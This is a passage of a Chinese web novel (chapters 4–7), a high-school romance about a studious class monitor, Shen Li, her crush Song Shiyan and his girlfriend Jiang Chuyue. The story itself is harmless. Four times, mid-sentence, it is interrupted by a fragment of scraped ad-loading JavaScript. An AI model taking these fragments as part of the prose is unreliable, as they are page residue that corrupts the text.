沈梨的黑框眼镜跟厚重刘海是她标配,只要学校没有强行要求,她就不会轻易换发型:“陈老师,可以不扎吗,我真的很喜欢这个发型。” 陈春芳:“......” 是她不懂小女孩的审美了。 陈春芳训完人就挥了挥手,一起去教室,路上,她想到什么,突然问了句:“沈梨啊,班上最近有没有早恋的?” 4. 第 4 章 高二重新分班,开学已经两个多月,沈梨至今都没能把班上的人认全,她也不清楚班上有没有谈恋爱的,时间都用来学习,不太关注这些八卦。 就连宋时晏的事,也是她有段时间发现了他和江初月走得很近,原本没有往那方面想,只以为是玩得很好的朋友,后来是周薇聊八卦时说起,她才知道是怎么一回事。 沈梨知道,她只要说出一个名字来,陈春芳就会立马展开行动,特别明显,不出几分钟,班上所有人都会知道是她告的密了。 沈梨不愿做这种得罪人的事,这会给自己带来麻烦,她面不改色地摇了摇头:“不太清楚,陈老师,我这几天观察一下吧。” “不不不。”陈春芳拍了拍她的肩,“你好好搞你的学习,其他事别管,不知道就算了。” 沈梨点了点头。 还没到班级门口,就能听到教室里传出的喧闹声,在其他安静班级的衬托下,显得尤为突出,经过隔壁班,他们的班主任正好双手抱肩走了出来,笑了笑:“陈老师,你们这个班的学生不太好管啊。” 陈春芳的脸色又黑了几分。 沈梨默默往前头走快了几步,推门的一瞬,仿佛按下了静音键,所有人齐齐地看向门口,这像是一个信号。 有乱换座位的人眼疾手快地来回走动,坐会自己原来的位置,沈梨其实没想去看那个人,可宋时晏站起来时,实在太惹眼。 哪怕是余光,她也能精准捕捉到,宋时晏和江初月的同桌换了位置,离开时,嘴角还勾着一抹淡淡的笑意。 她定了定神,将门大敞开来。 走上讲台念了这周违纪扣分的名字,被点到的人陆陆续续站起来,自觉往座位最后排走,罚站一整节自习,这是老陈定下的规矩。 学生违纪,扣班主任钱,她便想了这么个不痛不痒的法子治人。 江初月特意站在了宋时晏身后,撇了撇嘴:“丢死人了。” 宋时晏说:“这有什么好丢人的,大家都已经习惯了。” “那你陪我一起站着嘛,好不好。” 宋时晏眨了眨有些迷糊犯困的眼睛,他昨晚又熬夜摸电脑去了,有点想睡觉,但看着女友楚楚可怜的表情,还是站了起来:“行,陪你一起。” 陈春芳进来时,班级里已经安静得诡异,都在低头摸索着自己的事,她握着保温杯,将门再度关上,气氛压抑又沉重。 随着保温杯往桌上一磕,和铁皮讲台的碰撞发出不小的噪音,所有人的心都抖了抖。 陈春芳双手大开撑在讲台边缘上,眼神直直地看向后面黑板前几个站得歪歪扭扭又懒散的学生,厉声道:“给我站直了,没长骨头啊,七倒八歪的像个什么样子。” 几人勉强竖直了脊背。 “整条走廊,就我们这个班最吵。”陈春芳激情开麦,伸手指了指窗外,“你们自己去走廊上听,看看我说的对不对,我过来时,隔壁班的班主任都跑来跟我告状。” ....... 许久后,陈春芳说得口干舌燥,终于舍得扭开保温杯喝口水,台下的人已经被训得都耷拉着脸,忽而,她注意到后面的动静,眉头都跳了跳,中气十足:“宋时晏!” 靠在墙上,不知道什么时候困得闭上了眼睛的宋时晏突然就惊醒了过来,站直,在全班同学所有人的注视下,多加了一上午的罚站。 - 午间下课铃声响起时,宋时晏哀嚎了一声,趴在课桌上直不起身来,江初月摸了摸他有些炸了的头发:“可怜,那你还去食堂吃饭么?” 宋时晏又困又累,眼皮都快睁不开:“不去了,你找人陪你一起去吃。” “好。”江初月说,“你饭卡呢,我能请我朋友吃吗?” “可以啊,尽管吃,别客气。”宋时晏从课桌的某个角落里,翻出一张崭新的饭卡,“去吧,对了,给我带鸡蛋糕回来。” 江初月笑了笑,说了句‘宋时晏,你真好’,将人哄得心花怒放后,转身和好友一起去了食堂,旁边的黎荇阴阳怪气地语调学着她:“宋时晏哥哥,你真好啊~~” 宋时晏已经闭上了眼睛,闻言凭感觉给了他一拳,笑骂:“别搞,真恶心。” 几个一起玩的兄弟都快笑疯了,黎荇又正经道:“我们出去吃了,用不用给你带点什么?” 有人好奇:“晏哥女朋友不是说给他带吃的了么。” 黎荇皱眉:“那点吃的能吃饱么。” 宋时晏说:“你们去吃你们的,别管我。” 已经走到门外的周薇回头看见沈梨还在课桌上磨磨蹭蹭,大喊了一声:“梨梨,快点,待会又要排长队啦。” “来了。” 走廊有穿堂风,门没关紧,一开一关的,吵得宋时晏有些睡不着,他睁眼,教室里已经空无一人,给后门锁上后,又去了前门搬来把椅子抵着。 刚眯瞪着眼往回走,身后就传来椅子拖动的声响,他磨了磨牙,一上午的罚站已经让他在情绪暴躁边缘,现在又被频繁吵到,语气有些不耐烦,声调稍微大了点:“把门关上啊。” 准备进来的沈梨身形一顿,听出是他的声音,手还搭在门边上,不知道该有什么动作,就在这时,又一股风大力吹过来,将门用力一拍。 “啊——” 手上提的袋子掉落在地上,沈梨短促地叫了声,止不住地往后退,大力甩了下手,又用嘴含着被夹了的中指,眼尾已经开始泛红湿润起来。 宋时晏回了头,透过窗户看到走廊上的人,犹豫了几秒,还是往前走了几步,开了门:“班长?你咋了。” 注意到地上掉的袋子,里面装了几个鸡蛋糕,他捡起来,递给了沈梨。 十指连心,只有一个手指被夹,沈梨却觉得十个手指都在疼痛,她没再含着手指,藏在了身后,抬头时,眼里已经有了泪花。 “没什么,麻烦让一下。” 宋时晏自觉让了路,想到了自己刚刚的那个语气,有些心虚地跟在了她的身后:“班长,我刚刚那句话不是冲你,不好意思啊。” 沈梨的座位在教室正中间的第三排,走几步路就到了,她坐下,翻出本练习册,握着笔问他:“还有事吗,我要写作业了。” “没....”他莫名觉得有点羞耻的燥热,果然,班长这样的学霸,是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不太屑于跟他这种学渣说话的。 沈梨低头给受伤的指头吹气,企图减轻一点疼痛,眼泪还是没忍住滴落,真的好疼,但她又快速地抽了张纸巾吸干,现在看没什么变化,不知道待会会不会肿起来。 沈梨现在只能庆幸,她伤的是左手,而不是右手。 看着还摆放在桌上的蛋糕,她出神,没往后看,门口又传来动静,是姗姗来迟的周薇,她推开门,有些气喘吁吁:“梨梨,你——” “诶,你怎么哭啦?发生什么事了?”因为很少看到沈梨有这样外露的情绪,周薇真的很惊讶,声音不免得有些大,沈梨想要提醒时,已经来不及。 本来要睡觉的宋时晏一听这话,就警铃大作,除了刚刚发生的事,他想不到别的原因,自己事后回想起来,也确实觉得语气很不好。 恰好,他刚抬起头,就对上了周薇狐疑的眼神。 也并不奇怪,毕竟教室里就他一个人。 “咳...”宋时晏站起来,走过去准备又道歉,“班长,我——” 沈梨看着周薇,拿起了手中的蛋糕,打断了他的话:“薇薇,你还吃吗,我吃不下了。” “啊?”周薇指了指自己,“我们刚刚不是才吃完饭吗,晚点再吃一样的啊。” 沈梨把蛋糕塞到了她怀里:“我不想吃了,你帮我处理下吧。” 周薇愣了愣,有些不明所以。 这蛋糕咋了??明天不能吃吗,干嘛一定要她现在解决完。 她百思不得其解,但深信班长这样做一定有她的道理,于是,打算等下午的时候饿了再吃,就在这时,安静的教室里不合时宜地响起了‘咕噜咕噜’的动静。 宋时晏羞耻地捂住了自己的肚子。 周薇忍笑,不太确定地问了句:“要不,给你来点?” 说完又觉得不对,低头问沈梨:“梨梨,我能给他吃吗?” 沈梨已经在开始算题目了:“随便。” 周薇这才分了宋时晏一块,大概是觉得有点多,这蛋糕保质期又短,怕自己浪费掉,周薇又分了两块给他,末了,还不忘问句:“你...到底对梨梨干啥了?” 宋时晏是真挺饿的,没客气,几口就吃完了一块,嘴巴里鼓鼓囊囊:“我不小心凶了她。” 周薇瞬间瞪起了眼睛,想把蛋糕要回来,但实际上,能跟这种风云人物说上一句话,已经是她不敢想的了。 沈梨都没说什么,她更没资格强行出头啥的。 教室里陆陆续续进来了不少人,宋时晏几块蛋糕吃完,也没有了困意,正跟外出吃饭回来的黎荇聊着天,后门打开,露出江初月的笑脸。 她跟班上的女同学一起,不知道聊到了什么,笑得很开心,骤然看见宋时晏,她呀了一声,连忙走过来,扯了扯他胳膊上的校服布料,撒娇道:“我忘记给你带吃的了,你饿吗,我现在去小卖部给你买点面包吧。” “没事,我刚吃了东西,不饿了。” 江初月笑了笑:“那就好,那我先去午睡了。” 宋时晏点了点头,见她离开,黎荇才意味不明地说道:“校花记性挺差的。” 5. 第 5 章 沈梨的手还是肿了,下午手一直在胀痛,有些影响学习状态,晚间休息时,她和周薇分头行动,先去小卖部找老板要了点冰块,冷敷在伤口处。 开始会有一点刺痛,过了会,那种火辣辣的疼痛感缓轻了一点。 来到人挤人的食堂,沈梨很快在老地方找到了占位置的周薇,她走过去,还没坐下,周薇就拉着她有些兴奋:“我又吃到一个新瓜,想不想听!” 食堂的菜基本都千篇一律,来来回回都是那几样重复的,就连沈梨这种不挑食的,偶尔也会觉得没胃口。 她边夹着菜边说:“什么。” 她不好奇,就是偶尔听一下别人的爱恨情仇,觉得挺能调剂心情的,要是能从中学到点什么有用的就更好了。 周薇不卖弄关子,神秘兮兮地:“你往我后边看,找江初月。” 沈梨的筷子一顿,顺从扫了一眼,找到了离她们两个饭桌远的江初月,她正在跟好友侃侃而谈,不知聊到了什么,止不住地捂嘴笑,还情绪激动地用手拍打了几下旁边坐着的男生。 沈梨的眼皮就要耷拉着,想都不用想,旁边的男生肯定是宋时晏,她不太想看见这种恩爱的画面,随即,那男生好似吃完了饭,站起来,也没端走餐盘,就这么离开了。 但那不是宋时晏... 江初月也离开了座位追在那个男生的身后。 沈梨今早才见过他,好像叫什么秦渊的。 宋时晏呢? “梨梨,你知道那个男生是谁吗?” 沈梨摇摇头。 周薇继续说:“就10班那个爱打架的,每周一基本会被点名通报批评,外面有不少社会兄弟呢,听说江初月以前就跟他走得挺近的,但她现在都跟我们班宋时晏在一起了,还这样,这是不是算...” 她甚至凑近了过来,几乎用气音说道:“脚踏两条船啊?” - 沈梨被夹的手指还是冒了淤血,痛了好几天,才没有了什么感觉,淤血虽然还在,但已经不影响学习状态,只等着它慢慢长,长出新的指甲盖来,就能彻底好了。 晚自习,本来是老陈坐镇,临时被叫过去开会,老陈叫了副班长,一个比较安静的男生坐讲台上管理纪律。 老陈出去没两分钟,教室里就窸窸窣窣地有了动静,离后门最近的黎荇,趴在窗口探头往走廊两边看了看,确认没有‘敌情’:“走不走?” 已经入秋,白日里还有些热意,入夜后就很是凉快,宋时晏把校服外套给脱了,换上了自己稍微厚点的黑色卫衣。 “隔壁那几个人走了?” 话音刚落,窗户就被人敲了几下,隐约还有篮球拍手的声音,有人喊他:“晏哥,走啊,就差你们几个了。” 声音没有很大,但在这安静的夜里,也显得尤为的聒噪,好热闹的周薇已经搞不进去学习,熟念的回头,看向后门那一角了,心想他们胆真大,副班长的自习课,也敢逃。 看了眼旁边不受影响,依旧沙沙地在草稿本上演练的沈梨,她颇为羡慕地摇了摇头,果然这学霸啊,就是容易让人心生佩服,她什么时候才能像梨梨一样,可以沉浸式地在自己的世界里学习,而不被任何的一点风吹草动所影响呢。 后排几个男生陆续走了出去,宋时晏跟黎荇说:“你们先去,我等下就来。” 黎荇一猜就知道他是要去干嘛,‘啧’了声:“行不行啊你,这都要报备?” 宋时晏笑着锤了他胳膊一拳:“羡慕就直说,哥也不会笑话你。” “滚啊!” 宋时晏猫着腰从后面绕到了最左边靠墙的那两列,倒数第二排的江初月正趴在课桌上睡觉,她听到动静,睁开眼看到人,倒没有多少意外,声音软软地:“你怎么过来了。” 宋时晏小声道:“我跟隔壁班的打篮球去了,你有没有什么想吃的,我待会结束了给你带过来” 江初月眨了眨眼睛:“打篮球?我也想去玩。” 宋时晏看了眼她单薄的校服外套:“别去了,外面风大。” 江初月正好有些困,没执着,点了点头,又准备睡过去,过了一会,就感觉有人给她披了件衣服。 都不用睁眼,就知道是宋时晏。 将这一切尽收眼底的周薇无声‘啧啧啧’几下,又不禁撑着下巴开始幻想,如果,她也有校花这种美貌的话....那简直—— “宋时晏、黎荇、杨平...,你们几个,我记名字了。” “.......” 讲台上的副班长,将几个逃晚自习的人名字都给写在了黑板上,算是一次警告,要是折返,他就会给擦了。 宋时晏是最后一个还没出去的,他看向讲台,本来想笑着说句辛苦了,却无意对上了沈梨回过头来看他的眼神,漠视与不解。 说来也奇怪,那么多人的眼神,他偏偏对上了班长的。 宋时晏莫名有些心虚,欲盖弥彰的戴上了卫衣帽子,手撑着窗台,直接从窗户口翻了过去,随后一行人融进夜色里。 沈梨的心跳有些快。 老陈今晚的会开的有点久,第二节晚自习打铃声响了都还没回来,教室里又空了一些座位,副班长等了几分钟不见人回,又在黑板上新添了几个名字。 沈梨水喝得有点多,课间明明去过一次厕所,这会又有点感觉了,她刚站起来,副班长就如同惊弓之鸟地看向她。 她手指了指厕所方向,用唇语道:“上厕所。” 副班长如释负重般松了口气,他差点以为,班长也要逃课了,连忙点点头。 一层有4个教室,沈梨所在的7班在走廊的最左边,而厕所在走廊的最右边,每次去厕所,她们都得经过那三个班级。 走廊上安安静静的,只有时不时的风声,以至于,走到最尽头,经过楼梯和厕所之间夹着的那个工具间时,哪怕是一些细微的动静,她也听到了。 “你是故意的吗?故意做这种恶心的事来气我?” 脚步一顿,猜又是一些爱恨情仇的事。 没想管,只想赶紧解决掉自己的生理问题,离开这是非之地。 却不想出来时,还是与他们撞了个正着。 江初月嗓音有些颤,背对着她,冲着她前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方那个离开的男生背影说道:“秦渊,我当初跟你表白过的,你说不想谈,那你现在又是在干什么。” 男生未做任何回答,推开10班的教室门进去了。 江初月擦了擦眼泪,扭头就准备往厕所走,和没走得掉的沈梨面面相觑。 “........” 江初月愣神,随即想到什么,觉得有些好笑:“班长,又是你啊,真神了,怎么三番两次这种事总能被你看到。” 沈梨皱了皱眉:“你跟他...” 江初月心中警铃大作,试探问:“班长,你没这么无聊去跟老陈告发吧?” 沈梨疏离道:“这事跟我没关系。” 江初月笑着松了口气,绕过她往厕所方向走:“谢了,回头叫我男朋友给你送点吃的啊,班长,你可一定要收着,不然我心——。” “你男朋友是谁?”沈梨蓦然打断她,“宋时晏还是刚刚那个男生?” “...啊?”江初月脚步一顿,有些不确定地反问了一句,“班长,你刚说什么?” 沈梨第一次觉得,自己这么虚伪,明明带有私心,却仍旧将话说得那么的冠冕堂皇:“我觉得,你这个人,作风有点问题。” ...... 回到教室,沈梨依旧感觉自己跟踩在云朵上一样,脚步是发虚的,心是被吊起来的,就连周薇都看出了她的不对劲,用笔在纸上刷刷地写着什么,然后把草稿本推过去。 [梨梨,你怎么啦,嘴巴看上去好苍白啊,是不是哪里不舒服?] 沈梨摇了摇头,重新拿起笔,强迫自己将习题册的题目给塞到脑子里去,两分钟后,前门突然被人大力推开,反弹到墙面上,发出巨大声响。 所有人都被这一幕给吓得心惊肉跳,看清是发生了什么,教室里满是此起彼伏的抱怨声:“神经吧,开个门那么大动静。” 江初月直直地看向沈梨。 沈梨闭了闭眼,当做无事发生。 周薇被吓得还在拍拍自己的小胸脯,安慰着:“不怕不怕,不怕不——。” 然后,课桌就突然被人重重地撞了一下,书本都挪了位,周薇堪堪扶住,才没掉下去,瞪起眼,看向那个已经走了的‘肇事者’,忍不住低声骂:“吃了炸药吧,撞了人都不知道说声对不起的,什么素质啊。” “那边那么宽的路不走,往我们这边挤干嘛,无语了。” 沈梨知道,江初月这些事都是做给她看的。 刚刚在楼梯间的那句话,可能确实把她给刺激到了,将书本归位后,沈梨又忍不住拍了拍自己的额头:千防万防,还是没防住这颗私心给自己带来了点麻烦。 算了,以后见了她还是绕远点吧。 晚自习快要结束的时候,老陈还没有回来,逃课的那些同学倒是一个一个都回了教室,宋时晏刚坐下,准备把卫衣给脱了。 就见桌上扔来一个纸团。 他抬眸看去,那扔纸团的人就给他指了指江初月的方向,宋时晏只能看到她是趴着的,以为还在睡觉,疑惑着打开了纸团。 [江初月哭了。] 6. 第 6 章 晚自习结束铃声响,老陈也没来。 黎荇收拾着自己的东西,看了明显走神的宋时晏一眼,问他:“晏哥,晚上一起走还是?” 宋时晏拎起地上的零食袋子:“我送她回家。” “得。”黎荇习惯了,自从他晏哥谈了这个恋爱,三天两头就得扔下他一个人去女神面前献殷勤,真服了,咋就那么腻歪呢。 宋时晏没怎么见江初月哭过,很多时候,她都是温温柔柔地,喜欢笑,偶尔也喜欢跟他耍些小性子,有时会觉得女生的情绪怎么能转换得那么快,前一秒还跟你玩笑打趣呢,下一秒就跟你生气了。 虽然不知道什么原因,但宋时晏就奉行一个字——哄,不管谁的错,哄就完事,给人哄开心了,他的任务也就完成了,谈恋爱嘛,不就是这样,一个可劲作,另一个就使劲哄。 什么时候不愿意哄了,就到了他们该分手的时候了,不过目前来说,宋时晏对江初月还是有足够的耐心的。 所以江初月捂着脸,闹脾气不想跟他说话时,宋时晏也就帮她提着包,任劳任怨地在后面跟着:“谁惹你生气了。” “明天我找ta说理去,怎么能这么欺负人呢。” 校门口吵吵囔囔的都是人,宋时晏一手提着零食,另只反手拿着江初月的包背在肩膀上,时不时还低头弯腰凑到眼前去看她什么表情,试图逗她笑:“你是不是没跟他们报我的名字?” 江初月还真被勾起了好奇心,瞅了他一眼:“这跟你有什么关系。” 宋时晏嘚瑟的笑了笑:“你也太小看你男朋友了,有钱还有颜,铁哥们遍地是,欺负谁都不敢欺负到我的人头上来吧。” 江初月被他中二的发言逗得噗嗤笑了一下,心里总算是没有那么气了:“那要欺负我的人是个女生呢,你也要叫人过去打她一顿吗?” “嘶...”宋时晏倒吸了口凉气,“是个女生啊,那还真是不太行,你们女生之间的事,我一个大男人不好插手。” “宋时晏!”江初月气得都跺了跺脚,“你刚还说没人敢欺负我的!这才过去不到一分钟,你就说不行了。” “好了好了。”宋时晏扯了扯有些勒脖子的卫衣领口,一股风钻进去,凉得他打了个冷颤,“你先说说发生什么事了,我们文明解决问题。” 江初月这才撇了撇嘴,说:“是班长,她知道我们谈恋爱的事了,想要去告发我们。” “啥玩意?”宋时晏有些反应不过来,“班长,哪个班的班长?这么闲呢,还管起其他班谈恋爱的事了。” “......”江初月有些无语地看了他一眼,“是沈梨,我们班的!” 沈梨? 宋时晏笑了:“别开玩笑了,班长她每天除了学习就是学习,还能知道我们的事?” 江初月看他一副油盐不进,怎么都不愿意相信的样子,更气了:“你不信就算了,还总是问我干嘛。” “包给我,我自己回家。” “别别别。”宋时晏还是觉得有些不可思议,“我还以为班长两耳不闻窗外事,都不认识我俩。” 左一句右一句的,听得江初月很是刺耳,她沈梨是什么神仙下凡吗,被她认识是那么值得一件高兴的事么,江初月冷哼了一声,有些阴阳怪气道:“何止认识,她还说我这个人谈恋爱,人品有问题。” 宋时晏第一反应是:“不能吧,班长看上去不像是这种人啊。” 江初月肺都要给他气炸了:“你信我还是信她,宋时晏,你到底是谁男朋友啊。” 宋时晏抿了唇,哄她:“信你,当然信你,我们谈恋爱也不关她的事,估计就是故意吓吓你的,别气了。” 江初月的情绪这才下去了一点,走到半路,她又忍不住担心,不知道沈梨会不会真的去告发,万一.... “要是她真的告发了,怎么办。” 宋时晏几乎是毫不犹豫地说:“不会的。” “你怎么那么肯定呢。”江初月不依不饶,“万一呢,告发了是不是就意味着我们要分开了。” 江初月抓了抓他的袖子,轻轻晃了晃:“宋时晏,我不想分。” 宋时晏说:“那我们就偷偷谈,不分。” 江初月不是很满意这个答案,但还是笑了笑说:“好。” 江初月老家离一中有些距离,不想住校,就在学校附近租了个房子住,走路10分钟左右就到了,此时,已经到达了她住的那个住宅小区大门口,光是那道金碧辉煌的电动铁门,就能看出这小区房价价值不菲,门口保安亭还有两个保安在站岗。 江初月:“里面登记太麻烦,就送到这吧。” “好。”宋时晏将手上的东西都递给了她,“别担心了,实在不行,过几天,我去探探班长口风。” 江初月脸色变了变,仍镇定说道:“不准去,我不想看到你跟她说话,烦人。” “好好,不说不说,快进去吧,外面冷。” 江初月催促:“你先走,我看你上车了我再进去。” 宋时晏提前在手机上打了车,这会车已经到了,他也不再推辞,挥了挥手,就往公路上跑去。 江初月垫脚往公路那边看了看,确定他上了车,开走后,才拽着包往小区反方向走,又重新路过学校,直着走,走到一片老旧居民楼前停下,从巷子口里拐进去,拐了几个弯抵达她真正租的地方——和几个陌生人一起租的老房子,她住在一个小的只能放下一张床和一张桌子,且不透光,阴暗潮湿霉气重的房间里。 另一边,坐上计程车的宋时晏越想越不觉得对劲,甚至觉得心情有些复杂,班长怎么会突然跟江初月说要告发他们的事了?这也太突兀了,不像她的作风啊。 倒不是担心被告发的后果什么的,没啥好怕的,大不了就是挨顿骂,最多挨顿打,过去也就过去了,但是宋时晏有点想不通的是,为什么啊,这沈梨是不是讨厌他啊,怎么感觉哪里看他都不顺眼,也不知道是不是自己的错觉。 因为这事,宋时晏甚至一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚上翻来覆去的没睡着觉,第二天顶着个黑眼圈去上课,准备用早自习的时间来偷偷补觉,上课铃声一响,老陈就精准无误的踏进了教室里。 然后沉着脸,大发了一通脾气:“昨晚逃了晚自习的都给我站到后面去!” 没人自觉,宋时晏困得只差没把头塞桌肚里了,老陈骂骂咧咧地猛拍了几下黑板,让副班长报名单,宋时晏名字赫然在列。 他拿了本书,站在后面,想挡挡自己的脸时,老陈的目光直直地朝他看了过去:“宋时晏,抬头挺胸,给我站直了,读书声音大点,嘴巴张开,别跟个蚊子一样哼哼唧唧的。” 宋时晏:“.......” 陈春芳看着站在后面那一排歪歪扭扭,还有这要死不活的朗读声音,气不打一处来,这样下去,也不是办法,于是把她的得力干将沈梨给单独喊到了教室外面:“沈梨,班上这个纪律,你得多上点心了,昨天晚自习整个年级逃的人加起来都没我们班的多。” 沈梨:“......” 难怪一大早的,脸色就不好,还把语文老师的早自习给抢了。 沈梨一直就觉得罚站这个根本约束不了他们,没什么威慑力,她说:“陈老师,我们班干部都有警告过,他们不听。” 陈春芳抿唇想了想:“这样,别的人先不管,你先把宋时晏这个刺头给我管住了,就数他人缘好,一站起来,其他人哗啦啦的都跟上了。” 沈梨:“.......” 她拒绝:“陈老师,我学习时间比较紧迫。” 老陈:“学习重要,班级氛围也重要,沈梨,你作为班长,得带动着班上的人一起学习!” 沈梨冒死谏言:“陈老师,要不您还是撤了我这个职位吧,我可能担当不起。” 老陈不满地瞪了她一眼。 这个班,就数沈梨最让她省心。 心无旁骛地搞学习,不谈风月事,偶尔听听她的号令,还能将事情办得漂漂亮亮的,完美的让人挑不出错处来。 “不耽误你学习时间,只要看着别让他上课睡觉,逃课,按时把作业交上就行,如果他跟你耍横,来办公室找我,我叫他家长来治他。” 沈梨:“......” “就这样,你进去啊。”老陈愉快的确定了这个方案,“正好也很久没换座位了,把你两换近点,好管人,我这就排座位表去,争取第一节课上课之前给弄好。” “.......”沈梨,“!!!” “陈老师,我近视,我眼睛度数不太行了,我坐后面会看不到!” 老陈还真的犹豫了一下,看了眼教室里的课桌方位研究,‘啧’了声,“这样,你们坐靠窗那两列,让宋时晏挨着窗户坐,三四排也挡不着人,你也能看到黑板了吧。” 沈梨还想说点什么改变一下老陈的想法,然而老陈已经美滋滋去办公室排座位表去了,边走还边说:“那几个不爱搞学习的,能救的就救一下,救不了...再琢磨琢磨吧。” 7. 第 7 章 一进去,沈梨便下意识地看了眼站在后排的宋时晏,她有些发愁,宋时晏知道这个安排后,会是什么反应,然后—— 旁边那道炽热的视线也没能让她忽略掉,江初月其实还是有些担心沈梨去告发的,毕竟她们俩平时根本就没什么交集,昨晚沈梨突然对她说一句那样的话,着实是被震惊到了。 所以江初月也弄不明白沈梨是个什么意思,难道是闲来无事做个正义的使者?她现在看到沈梨跟老陈在一块就心跳加速,头皮发麻,时刻盯着她们的动作。 在沈梨第一眼把视线放在宋时晏身上时,她就注意到了,那一刻,江初月甚至在想,完了,班长怕是已经都说了,之后便是整个早自习的惴惴不安,等着被老陈传唤。 同样有些不安的还有沈梨,去食堂吃早饭的时候,她都有些心不在焉,周薇看着她一个馒头咬了七八口还毫发无伤,疑惑地在她眼前晃了晃手:“梨梨,你怎么了,从被老陈叫出去之后就一直不在状态。” “咋了,她又骂你了啊?” 沈梨回神:“没,老陈打算重新排个座位表了。” “啊?啊?”这对于周薇而言,无异于是个晴天霹雳的消息,自开学来,她就一直和沈梨坐一块,平时学习态度懒散的她,在沈梨影响下,也开始主动学习了,这好不容易养成了个良好习惯,成绩上来了点,结果榜样就要被调走,这岂不是一夜回到解放前。“什么时候啊?” 周薇提升了吃饭的速度:“我去和她说,别把我们俩分开坐,你可以带动我搞学习,这种正能量的事她应该会同意吧。” 沈梨扶了扶额,老陈恰好也是看中了这点,如实道:“你试试,事情要是还有回转余地也算是件好事。” 周薇听出了一丝八卦的气息,眯了眯眼:“什么意思?梨梨你的同桌已经有人选啦?” 沈梨说:“老陈想让我管着宋时晏。” “我去!” - 两人还在唏嘘这突然的排座位会给班上的人带来多大的冲击,才走到三楼楼梯道那,就已经听见了7班教室拖动桌椅的声响还有那时不时的抱怨声和夹杂着的兴奋。 “终于可以换座位了,坐靠窗那边都快给我坐出心理阴影来了。” “靠,老陈这怎么排的位置,怎么把我和副班长那个呆逼排一起了!” “你要不看看,宋时晏旁边坐的谁?” “.....班长啊,嘶...” 周薇心想,他们都知道些啥啊,别看梨梨平时高冷得不行,其实心肠可好了好吧,不管问她多少问题都不带不耐烦的,干嘛一副生无可恋的样子,她还巴不得这两年都一直挨着沈梨坐呢。 教室里乱哄哄的,打扫干净后的空间,尘土飞扬,满是难闻的土腥味,开了窗,才有片刻的喘息,后门那角落堆满了刚扫出来的垃圾。 每个人都在黑板上的座位表里寻找着自己的新座位,表情各异地开始搬动自己的东西,周薇推前门没推动,从窗户里探头看才知道是为了打扫卫生,将课桌都往前挪,挡住了,还没复原。 她们从后门进去,沈梨一眼就看到了坐在宋时晏课桌上的江初月,正悠闲晃动着双腿,余光似乎还瞥见了,江初月抓着宋时晏的一根手指把玩着。 宋时晏一只脚踩在桌子底下的横杆上,另一只脚则搭在膝盖上,坐姿格外的豪放。 她撒娇似的抱怨:“这次倒是挨得近了一点,但老陈怎么会把你跟沈梨排一块啊,成心的吗,好烦。” 宋时晏没什么表情:“随便排的吧。” 旁边转笔玩的黎荇哼笑了一声:“还随便,晏哥,你这看不出老陈是想让班长看着你么,你信不信,你之后再上课睡觉逃课什么的,她转头就跟老陈告状去了。” 宋时晏不置可否地挑了挑眉,没说话。 江初月不满地撇了撇嘴:“真讨厌。” 周薇气不过,瞪了他们一圈人:“说得梨梨情愿跟你们坐似的,我这去跟老陈说让她换位置!” 江初月点点头,有些阴阳怪气道:“快去快去,免得你家班长在我男朋友这受了委屈,转头又要去告状。” 周薇脸都气红了,她嘴巴笨,不知道怎么说回去,没有威慑力地瞪了半天,气冲冲地找讲台上的老陈去了。 沈梨没什么表情的正要绕过,江初月诶了声:“沈梨,你应该也挺不满意这个座位表吧,你是老陈最喜欢的学生,你的话她肯定听,不如你去跟她说说换位置的事呗。” “谁说的。”沈梨尽力忽视着那两道落在她身上的视线,淡定说道:“我挺满意的。” “.......” 她人走后,江初月呆了,宋时晏有些反应不过来的傻气,唯有黎荇,看热闹一样,哦吼了一声:“晏哥,你完了,你快点想想,是不是之前哪里惹到班长了。” “.....”宋时晏,“???” 去找老陈软磨硬泡了一番的周薇自然是没成功,尤其是看到她的新同桌是个有些好动的男生后,更是崩溃,趴在自己桌子上,不愿收拾东西:“我不想搬啊啊啊啊,梨梨,我不想跟你分开!!” “别这样。”沈梨说,“就坐在斜对角,想问问题转个身就可以了。” “......”周薇耷拉着眼皮,“那也没有跟你坐同桌方便嘛,还不知道那个男生性格咋样,要是个事多的,我真的要闹了。” “搬过去就知道了。” 沈梨不太会安慰人,也回馈不了对方太多情绪,她知道自己的性格没有人会受得了,所以也从没打算要去交朋友。 但周薇似乎不这么觉得,她总是说:“梨梨,你真好,你太好了,我要一辈子跟着你,离了你谁还会这么不厌其烦地管我的学习啊。” 沈梨没觉得有多麻烦,因为这过程中,她也可以将过去的基础重新巩固一下,就算是周薇不问问题,她也要有复习这个步骤,周薇却总觉得自己浪费了她很多的时间。 沈梨也不解释。 两人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就这么莫名其妙地玩到了一块。 沈梨的书本有点多,只能一趟趟搬,搬过去一摞的时候,才发现宋时晏已经在了,他趴在课桌上,脸冲着墙,好像在睡觉。 沈梨不自觉放轻了动作,但人还是有些吵到,动了动身子,转了过来,刹那间,沈梨居然不知道作何反应,下意识屏住了呼吸。 她尽量正常的将书本归类重新摆放后,又面无表情地去搬第二摞,当旁边的人不存在,但宋时晏的气息实在是难以忽略。 哪怕她是站在过道上,都能感受到宋时晏的视线,沈梨连多余的一眼都不敢瞥过去,眼睫已经在轻轻颤抖了。 就在这时—— 宋时晏清冽的声音响起,带了点示好的笑意:“班长,需要我帮你一起吗?” 沈梨嘴巴比脑子反应得快:“不用。” 然后转身又去搬第三摞,深深地呼出了一口气,暗示着自己,淡定一点,你是有任务在身的,除此之外,不会有别的任何的交集。 宋时晏愈发地愁眉苦脸起来,该不会真的跟黎荇说的一样,他在无形中惹到了班长?可到底是在哪惹到的啊,完全想不起来。 有些困扰地抓了抓头发时,旁边的窗户被人轻拍了两下,他转过头去,看到了江初月的脸,将窗户打开:“怎么了?” 江初月是来提醒他的:“不准跟她说话,我真的会很生气。” 宋时晏皱眉想了想,倒没给出个确定的答案:“就为了说这事啊。” “你答应我嘛。”江初月撇了撇嘴,“她都那样说我了,你还跟她玩得好,一点都不顾及我的感受吗。” 